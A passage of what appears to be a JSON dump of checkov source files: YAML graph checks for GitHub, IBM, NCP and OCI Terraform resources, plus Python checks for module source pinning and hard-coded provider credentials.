    "path": "checkov/terraform/checks/graph_checks/github/RepositoryHasBranchProtection.yaml",
    "content": "metadata:\n  name: \"Ensure each Repository has branch protection associated\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CKV2_GIT_1\"\nscope:\n  provider: \"GITHUB\"\ndefinition:\n  and:\n    - resource_types:\n        - github_repository\n      connected_resource_types:\n        - github_branch_protection\n        - github_branch_protection_v3\n        - github_repository_ruleset\n      operator: exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - github_repository\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/ibm/IBM_EnableMFAatAccountLevel.yaml",
    "content": "metadata:\n  id: \"CKV2_IBM_4\"\n  name: \"Ensure Multi-Factor Authentication (MFA) is enabled at the account level\"\n  category: \"IAM\"\n\ndefinition:\n  and:\n\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_iam_account_settings\"\n      attribute: \"mfa\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_iam_account_settings\"\n      attribute: \"mfa\"\n      operator: \"not_equals_ignore_case\"\n      value: \"None\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/ibm/IBM_K8sClustersAccessibleViaPrivateEndPt.yaml",
    "content": "metadata:\n  id: \"CKV2_IBM_7\"\n  name: \"Ensure Kubernetes clusters are accessible by using private endpoint and NOT public endpoint\"\n  category: \"NETWORKING\"\n\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_container_cluster\"\n      attribute: \"private_service_endpoint\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_container_cluster\"\n      attribute: \"private_service_endpoint\"\n      operator: \"equals_ignore_case\"\n      value: \"True\"\n\n    - or:\n        - cond_type: \"attribute\"\n          resource_types: \"ibm_container_cluster\"\n          attribute: \"public_service_endpoint\"\n          operator: \"not_exists\"\n\n        - cond_type: \"attribute\"\n          resource_types: \"ibm_container_cluster\"\n          attribute: \"public_service_endpoint\"\n          operator: \"not_equals_ignore_case\"\n          value: \"True\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/ibm/IBM_LoadBalancerforVPCisPrivate.yaml",
    "content": "metadata:\n  id: \"CKV2_IBM_1\"\n  name: \"Ensure load balancer for VPC is private (disable public access)\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_is_lb\"\n      attribute: \"type\"\n      operator: \"exists\"\n    - or:\n      - cond_type: \"attribute\"\n        resource_types: \"ibm_is_lb\"\n        attribute: \"type\"\n        operator: \"equals_ignore_case\"\n        value: \"private\"\n      - cond_type: \"attribute\"\n        resource_types: \"ibm_is_lb\"\n        attribute: \"type\"\n        operator: \"equals_ignore_case\"\n        value: \"private_path\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/ibm/IBM_RestrictAPIkeyCreationInAccountSettings.yaml",
    "content": "metadata:\n  id: \"CKV2_IBM_3\"\n  name: \"Ensure API key creation is restricted in account settings\"\n  category: \"IAM\"\n\ndefinition:\n  and:\n\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_iam_account_settings\"\n      attribute: \"restrict_create_platform_apikey\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_iam_account_settings\"\n      attribute: \"restrict_create_platform_apikey\"\n      operator: \"equals_ignore_case\"\n      value: \"RESTRICTED\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/ibm/IBM_RestrictServiceIDCreationInAccountSettings.yaml",
    "content": "metadata:\n  id: \"CKV2_IBM_5\"\n  name: \"Ensure Service ID creation is restricted in account settings\"\n  category: \"IAM\"\n\ndefinition:\n  and:\n\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_iam_account_settings\"\n      attribute: \"restrict_create_service_id\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_iam_account_settings\"\n      attribute: \"restrict_create_service_id\"\n      operator: \"equals_ignore_case\"\n      value: \"RESTRICTED\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/ibm/IBM_VPCclassicAccessIsDisabled.yaml",
    "content": "metadata:\n  id: \"CKV2_IBM_2\"\n  name: \"Ensure VPC classic access is disabled\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types: \"ibm_is_vpc\"\n      attribute: \"classic_access\"\n      operator: \"not_exists\"\n\n    - and:\n\n        - cond_type: \"attribute\"\n          resource_types: \"ibm_is_vpc\"\n          attribute: \"classic_access\"\n          operator: \"exists\"\n\n        - cond_type: \"attribute\"\n          resource_types: \"ibm_is_vpc\"\n          attribute: \"classic_access\"\n          operator: \"equals_ignore_case\"\n          value: \"false\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/ncp/AccessControlGroupRuleDefine.yaml",
    "content": "metadata:\n  id: \"CKV_NCP_26\"\n  name: \"Ensure Access Control Group has Access Control Group Rule attached\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - ncloud_access_control_group\n      operator: within\n    - resource_types:\n        - ncloud_access_control_group\n      connected_resource_types:\n        - ncloud_access_control_group_rule\n      operator: exists\n      cond_type: connection"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml",
    "content": "metadata:\n  id: \"CKV_NCP_18\"\n  name: \"Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks.\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - ncloud_auto_scaling_group\n      operator: within\n    - or:\n      - cond_type: attribute\n        resource_types:\n          - ncloud_auto_scaling_group\n        attribute: health_check_type_code\n        operator: equals\n        value: \"SVR\"\n      - and:\n        - cond_type: attribute\n          resource_types:\n              - ncloud_auto_scaling_group\n          attribute: health_check_type_code\n          operator: equals\n          value: \"LOADB\"\n        - resource_types:\n            - ncloud_lb_target_group\n          connected_resource_types:\n            - ncloud_auto_scaling_group\n          operator: exists\n          cond_type: connection\n        - cond_type: attribute\n          resource_types:\n            - ncloud_lb_target_group\n          attribute: health_check\n          operator: exists"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml",
    "content": "metadata:\n  id: \"CKV_NCP_22\"\n  name: \"Ensure a route table for the public subnets is created.\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - ncloud_route_table_association\n      operator: within\n    - cond_type: attribute\n      resource_types:\n        - ncloud_subnet\n      attribute: subnet_type\n      operator: equals\n      value: \"PUBLIC\"\n    - resource_types:\n        - ncloud_subnet\n      connected_resource_types:\n        - ncloud_route_table_association\n      operator: exists\n      cond_type: connection\n    - resource_types:\n        - ncloud_route_table\n      connected_resource_types:\n        - ncloud_route_table_association\n      operator: exists\n      cond_type: connection\n    - cond_type: attribute\n      resource_types:\n        - ncloud_route_table\n      attribute: supported_subnet_type\n      operator: equals\n      value: \"PUBLIC\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml",
    "content": "metadata:\n  id: \"CKV2_OCI_1\"\n  name: \"Ensure administrator users are not associated with API keys\"\n  category: \"IAM\"\ndefinition:\n  or:\n    - and:\n      - resource_types:\n          - oci_identity_group\n        connected_resource_types:\n          - oci_identity_user_group_membership\n        operator: exists\n        cond_type: connection\n      - resource_types:\n          - oci_identity_user_group_membership\n        connected_resource_types:\n          - oci_identity_user\n        operator: exists\n        cond_type: connection\n      - cond_type: attribute\n        attribute: name\n        resource_types:\n          - oci_identity_group\n        operator: equals\n        value: \"Administrators\"\n      - resource_types:\n          - oci_identity_user\n        connected_resource_types:\n          - oci_identity_api_key\n        operator: not_exists\n        cond_type: connection\n    - and:\n      - resource_types:\n          - oci_identity_group\n        connected_resource_types:\n          - oci_identity_user_group_membership\n        operator: exists\n        cond_type: connection\n      - resource_types:\n          - oci_identity_user_group_membership\n        connected_resource_types:\n              - oci_identity_user\n        operator: exists\n        cond_type: connection\n      - cond_type: attribute\n        attribute: name\n        resource_types:\n          - oci_identity_group\n        operator: not_equals\n        value: \"Administrators\"\n    - resource_types:\n        - oci_identity_user_group_membership\n      connected_resource_types:\n        - oci_identity_user\n      operator: not_exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - oci_identity_user\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml",
    "content": "metadata:\n  id: \"CKV2_OCI_5\"\n  name: \"Ensure Kubernetes Engine Cluster boot volume is configured with in-transit data encryption\"\n  category: \"ENCRYPTION\"\n\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"oci_containerengine_node_pool\"\n      attribute: \"node_config_details.is_pv_encryption_in_transit_enabled\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"oci_containerengine_node_pool\"\n      attribute: \"node_config_details.is_pv_encryption_in_transit_enabled\"\n      operator: \"equals_ignore_case\"\n      value: \"true\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterPodSecPolicyEnforced.yaml",
    "content": "metadata:\n  id: \"CKV2_OCI_6\"\n  name: \"Ensure Kubernetes Engine Cluster pod security policy is enforced\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"oci_containerengine_cluster\"\n      attribute: \"options.admission_controller_options.is_pod_security_policy_enabled\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"oci_containerengine_cluster\"\n      attribute: \"options.admission_controller_options.is_pod_security_policy_enabled\"\n      operator: \"equals_ignore_case\"\n      value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/oci/OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml",
    "content": "metadata:\n  id: \"CKV2_OCI_3\"\n  name: \"Ensure Kubernetes engine cluster is configured with NSG(s)\"\n  category: \"NETWORKING\"\n\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types: \"oci_containerengine_cluster\"\n      attribute: \"endpoint_config.nsg_ids\"\n      operator: \"exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"oci_containerengine_cluster\"\n      attribute: \"endpoint_config.nsg_ids\"\n      operator: \"not_equals_ignore_case\"\n      value: \"null\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"oci_containerengine_cluster\"\n      attribute: \"endpoint_config.nsg_ids\"\n      operator: \"is_not_empty\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"oci_containerengine_cluster\"\n      attribute: \"endpoint_config.nsg_ids\"\n      operator: \"number_of_words_not_equals\"\n      value: 0\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/oci/OCI_NFSaccessRestrictedToRootUsers.yaml",
    "content": "metadata:\n  id: \"CKV2_OCI_4\"\n  name: \"Ensure File Storage File System access is restricted to root users\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types: \"oci_file_storage_export\"\n      attribute: \"export_options[?(@.identity_squash =~ '(?i)^ROOT$')]\"\n      operator: \"jsonpath_not_exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"oci_file_storage_export\"\n      attribute: \"export_options[?(@.identity_squash =~ '(?i)^ROOT$' & @.anonymous_gid == 65534 & @.anonymous_uid == 65534)]\"\n      operator: \"jsonpath_exists\"\n\n\n#                       REGEX explained:\n# ============================================================ #\n# =~ is an inline regular expression matching operator.\n# '(?i)' is a modifier that enables case-insensitive matching.\n# '^' is the start of the string.\n# 'root' matches the case-insensitive string \"root\".\n# '$'' is the end of the string.\n\n# Therefore, =~ '(?i)^root$' matches the case-insensitive string \"root\"."
  },
  {
    "path": "checkov/terraform/checks/graph_checks/oci/OCI_NSGNotAllowRDP.yaml",
    "content": "metadata:\n  id: \"CKV2_OCI_2\"\n  name: \"Ensure NSG does not allow all traffic on RDP port (3389)\"\n  category: \"NETWORKING\"\n\ndefinition:\n  or:\n    - and:\n        - cond_type: \"attribute\"\n          resource_types: \"oci_core_network_security_group_security_rule\"\n          attribute: \"direction\"\n          operator: \"equals_ignore_case\"\n          value: \"INGRESS\"\n\n        - cond_type: \"attribute\"\n          resource_types: \"oci_core_network_security_group_security_rule\"\n          attribute: \"source\"\n          operator: \"not_equals\"\n          value: \"0.0.0.0/0\"\n\n        - cond_type: \"attribute\"\n          resource_types: \"oci_core_network_security_group_security_rule\"\n          attribute: \"protocol\"\n          operator: \"not_equals_ignore_case\"\n          value: \"all\"\n\n        - or:\n            - cond_type: \"attribute\"\n              resource_types: \"oci_core_network_security_group_security_rule\"\n              attribute: \"tcp_options\"\n              operator: \"exists\"\n\n            - cond_type: \"attribute\"\n              resource_types: \"oci_core_network_security_group_security_rule\"\n              attribute: \"udp_options\"\n              operator: \"exists\"\n\n            - cond_type: \"attribute\"\n              resource_types: \"oci_core_network_security_group_security_rule\"\n              attribute: \"protocol\"\n              operator: \"not_equals\"\n              value: 1\n\n    - and:\n        - cond_type: \"attribute\"\n          resource_types: \"oci_core_network_security_group_security_rule\"\n          attribute: \"tcp_options.destination_port_range.min\"\n          operator: \"not_equals\"\n          value: 3389\n\n        - or: \n            - cond_type: \"attribute\"\n              resource_types: \"oci_core_network_security_group_security_rule\"\n              attribute: \"tcp_options.destination_port_range.min\"\n              operator: \"greater_than\"\n              value: 3389\n            - cond_type: \"attribute\"\n              resource_types: \"oci_core_network_security_group_security_rule\"\n              attribute: \"tcp_options.destination_port_range.max\"\n              operator: \"less_than\"\n              value: 3389\n\n    - and:\n        - cond_type: \"attribute\"\n          resource_types: \"oci_core_network_security_group_security_rule\"\n          attribute: \"udp_options.destination_port_range.min\"\n          operator: \"not_equals\"\n          value: 3389\n\n        - or:\n            - cond_type: \"attribute\"\n              resource_types: \"oci_core_network_security_group_security_rule\"\n              attribute: \"udp_options.destination_port_range.min\"\n              operator: \"greater_than\"\n              value: 3389\n            - cond_type: \"attribute\"\n              resource_types: \"oci_core_network_security_group_security_rule\"\n              attribute: \"udp_options.destination_port_range.max\"\n              operator: \"less_than\"\n              value: 3389\n"
  },
  {
    "path": "checkov/terraform/checks/module/__init__.py",
    "content": "from checkov.terraform.checks.module.generic import *  # noqa\n"
  },
  {
    "path": "checkov/terraform/checks/module/base_module_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import List, Dict, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.module.registry import module_registry\n\n\nclass BaseModuleCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_resources: Iterable[str] | None = None,\n        guideline: str | None = None\n    ) -> None:\n        \"\"\"\n        Base class for terraform module call related checks.\n\n        :param name: an error message that is shown, when the check failed.\n        :param id: the id of the check\n        :param categories: categories of the check\n        :param supported_resources: DEPRECATED the resources that this check applies to.\n\n            This is deprecated because there is only one resource type that is valid for\n            checks that extend this class.\n        \"\"\"\n        if supported_resources is None:\n            supported_resources = [\"module\"]\n        super().__init__(\n            name=name, id=id, categories=categories, supported_entities=supported_resources,\n            block_type=\"module\", guideline=guideline\n        )\n        self.supported_resources = supported_resources\n        module_registry.register(self)\n\n    def scan_entity_conf(self, conf: Dict[str, List[Any]], entity_type: str) -> CheckResult:\n        # entity_type is always 'module'\n        return self.scan_module_conf(conf)\n\n    @abstractmethod\n    def scan_module_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        raise NotImplementedError()\n\n    @staticmethod\n    def is_git_source(source: str) -> bool:\n        return source.startswith('git@') or source.startswith('git::') or source.startswith('github.com') or source.startswith('bitbucket.org')\n"
  },
  {
    "path": "checkov/terraform/checks/module/base_registry.py",
    "content": "from typing import Dict, Any, Tuple\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\nclass Registry(BaseCheckRegistry):\n    def extract_entity_details(self, entity: Dict[str, Dict[str, Any]]) -> Tuple[str, str, Dict[str, Any]]:\n        module_name, module_configuration = next(iter(entity.items()))\n        return \"module\", module_name, module_configuration\n"
  },
  {
    "path": "checkov/terraform/checks/module/generic/RevisionHash.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.module.base_module_check import BaseModuleCheck\n\nCOMMIT_ID_PATTERN = re.compile(r\"\\?(ref=)(?P<commit_id>([0-9a-f]{5,40}))\")\n\n\nclass RevisionHash(BaseModuleCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Terraform module sources use a commit hash\"\n        id = \"CKV_TF_1\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(name=name, id=id, categories=categories)\n\n    def scan_module_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        source = conf.get(\"source\")\n        if source and isinstance(source, list):\n            source_url = source[0]\n            if source_url.startswith((\"./\", \"../\")):\n                # local modules can't be pinned to a commit hash\n                return CheckResult.UNKNOWN\n            if \"?ref\" in source_url and re.search(COMMIT_ID_PATTERN, source_url):\n                # do first a quick lookup, if '?ref' exists in the string before actually searching for the commit hash\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = RevisionHash()\n"
  },
  {
    "path": "checkov/terraform/checks/module/generic/RevisionVersionTag.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.module.base_module_check import BaseModuleCheck\nfrom .RevisionHash import check as RevisionHashCheck\n\nVERSION_PATTERN = re.compile(r\"[?&](ref=).*(\\d\\.\\d).*\")\n\n\nclass RevisionVersionTag(BaseModuleCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Terraform module sources use a tag with a version number\"\n        id = \"CKV_TF_2\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(name=name, id=id, categories=categories)\n\n    def scan_module_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # this check is a more lenient version of the hash check, so if that one passes (or is unknown due to a local module),\n        # then we are done\n        hash_result = RevisionHashCheck.scan_module_conf(conf)\n        if hash_result != CheckResult.FAILED:\n            return hash_result\n\n        source = conf.get(\"source\")\n        if source and isinstance(source, list):\n            source_url = source[0]\n            if BaseModuleCheck.is_git_source(source_url):\n                if (\"?ref\" in source_url or \"&ref\" in source_url) and re.search(VERSION_PATTERN, source_url):\n                    return CheckResult.PASSED\n            else:\n                version = conf.get(\"version\")\n                if source and isinstance(version, list):\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = RevisionVersionTag()\n"
  },
  {
    "path": "checkov/terraform/checks/module/generic/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/module/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.terraform.checks.module.base_registry import Registry\n\nmodule_registry = Registry(CheckType.TERRAFORM)\n"
  },
  {
    "path": "checkov/terraform/checks/provider/__init__.py",
    "content": "from checkov.terraform.checks.provider.aws import *  # noqa\nfrom checkov.terraform.checks.provider.linode import *  # noqa\nfrom checkov.terraform.checks.provider.bridgecrew import *  # noqa\nfrom checkov.terraform.checks.provider.oci import *  # noqa\nfrom checkov.terraform.checks.provider.openstack import *  # noqa\nfrom checkov.terraform.checks.provider.panos import *  # noqa\n"
  },
  {
    "path": "checkov/terraform/checks/provider/aws/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/provider/aws/credentials.py",
    "content": "import re\nfrom typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.provider.base_check import BaseProviderCheck\nfrom checkov.common.models.consts import access_key_pattern, secret_key_pattern\n\n\nclass AWSCredentials(BaseProviderCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard coded AWS access key and secret key exists in provider\"\n        id = \"CKV_AWS_41\"\n        supported_provider = [\"aws\"]\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider)\n\n    def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"\n        see: https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration\n        \"\"\"\n        result = CheckResult.PASSED\n        if self.secret_found(conf, \"access_key\", access_key_pattern):\n            result = CheckResult.FAILED\n        if self.secret_found(conf, \"secret_key\", secret_key_pattern):\n            result = CheckResult.FAILED\n        return result\n\n    def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: str) -> bool:\n        if field in conf.keys():\n            value = conf[field][0]\n            if isinstance(value, str) and re.match(pattern, value) is not None:\n                conf[f'{self.id}_secret_{field}'] = value\n                return True\n        return False\n\n\ncheck = AWSCredentials()\n"
  },
  {
    "path": "checkov/terraform/checks/provider/base_check.py",
    "content": "from abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import List, Dict, Any, Optional\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.provider.registry import provider_registry\n\n\nclass BaseProviderCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_provider: \"Iterable[str]\",\n        guideline: Optional[str] = None\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_provider,\n            block_type=\"provider\",\n            guideline=guideline,\n        )\n        self.supported_provider = supported_provider\n        provider_registry.register(self)\n\n    def scan_entity_conf(self, conf: Dict[str, List[Any]], entity_type: str) -> CheckResult:\n        return self.scan_provider_conf(conf)\n\n    @abstractmethod\n    def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/terraform/checks/provider/base_registry.py",
    "content": "from typing import Dict, Any, Tuple\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\nclass Registry(BaseCheckRegistry):\n    def extract_entity_details(self, entity: Dict[str, Any]) -> Tuple[str, str, Dict[str, Any]]:\n        provider_type = list(entity.keys())[0]\n        provider_name = list(entity.keys())[0]\n        provider_configuration = entity[provider_name]\n        return provider_type, provider_name, provider_configuration\n"
  },
  {
    "path": "checkov/terraform/checks/provider/bridgecrew/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/provider/bridgecrew/credentials.py",
    "content": "import re\nfrom typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.provider.base_check import BaseProviderCheck\nfrom checkov.common.models.consts import bridgecrew_token_pattern\n\n\nclass BridgecrewCredentials(BaseProviderCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard coded API token exist in the provider\"\n        id = \"CKV_BCW_1\"\n        supported_provider = (\"bridgecrew\",)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider)\n\n    def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if self.secret_found(conf, \"token\", bridgecrew_token_pattern):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: str) -> bool:\n        if field in conf.keys():\n            value = conf[field][0]\n            if re.match(pattern, value) is not None:\n                conf[f'{self.id}_secret'] = value\n                return True\n        return False\n\n\ncheck = BridgecrewCredentials()\n"
  },
  {
    "path": "checkov/terraform/checks/provider/linode/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/provider/linode/credentials.py",
    "content": "import re\nfrom typing import Dict, List, Any, Pattern\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.provider.base_check import BaseProviderCheck\nfrom checkov.common.models.consts import linode_token_pattern\n\n\nclass LinodeCredentials(BaseProviderCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard coded Linode tokens exist in provider\"\n        id = \"CKV_LIN_1\"\n        supported_provider = (\"linode\",)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider)\n\n    def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if self.secret_found(conf, \"token\", linode_token_pattern):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: Pattern[str]) -> bool:\n        if field in conf.keys():\n            value = conf[field][0]\n            if re.match(pattern, value) is not None:\n                conf[f'{self.id}_secret'] = value\n                return True\n        return False\n\n\ncheck = LinodeCredentials()\n"
  },
  {
    "path": "checkov/terraform/checks/provider/ncp/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/provider/ncp/credentials.py",
    "content": "import re\nfrom typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.provider.base_check import BaseProviderCheck\nfrom checkov.common.models.consts import access_key_pattern, secret_key_pattern\n\n\nclass NCPCredentials(BaseProviderCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard coded NCP access key and secret key exists in provider\"\n        id = \"CKV_NCP_17\"\n        supported_provider = (\"ncloud\",)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider)\n\n    def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"\n        see: https://registry.terraform.io/providers/NaverCloudPlatform/ncloud/latest/docs\n        \"\"\"\n        result = CheckResult.PASSED\n        if self.secret_found(conf, \"access_key\", access_key_pattern):\n            result = CheckResult.FAILED\n        if self.secret_found(conf, \"secret_key\", secret_key_pattern):\n            result = CheckResult.FAILED\n        return result\n\n    def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: str) -> bool:\n        if field in conf.keys():\n            value = conf[field][0]\n            if isinstance(value, str) and re.match(pattern, value) is not None:\n                conf[f'{self.id}_secret_{field}'] = value\n                return True\n        return False\n\n\ncheck = NCPCredentials()\n"
  },
  {
    "path": "checkov/terraform/checks/provider/oci/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/provider/oci/credentials.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.provider.base_check import BaseProviderCheck\n\n\nclass OciCredentials(BaseProviderCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard coded OCI private key in provider\"\n        id = \"CKV_OCI_1\"\n        supported_provider = [\"oci\"]\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider)\n\n    def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        key = \"private_key_password\"\n        if key in conf.keys():\n            secret = conf[key]\n            if not secret:\n                return CheckResult.PASSED\n            conf[f'{self.id}_secret'] = secret\n            return CheckResult.FAILED\n        else:\n            return CheckResult.PASSED\n\n\ncheck = OciCredentials()\n"
  },
  {
    "path": "checkov/terraform/checks/provider/openstack/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/provider/openstack/credentials.py",
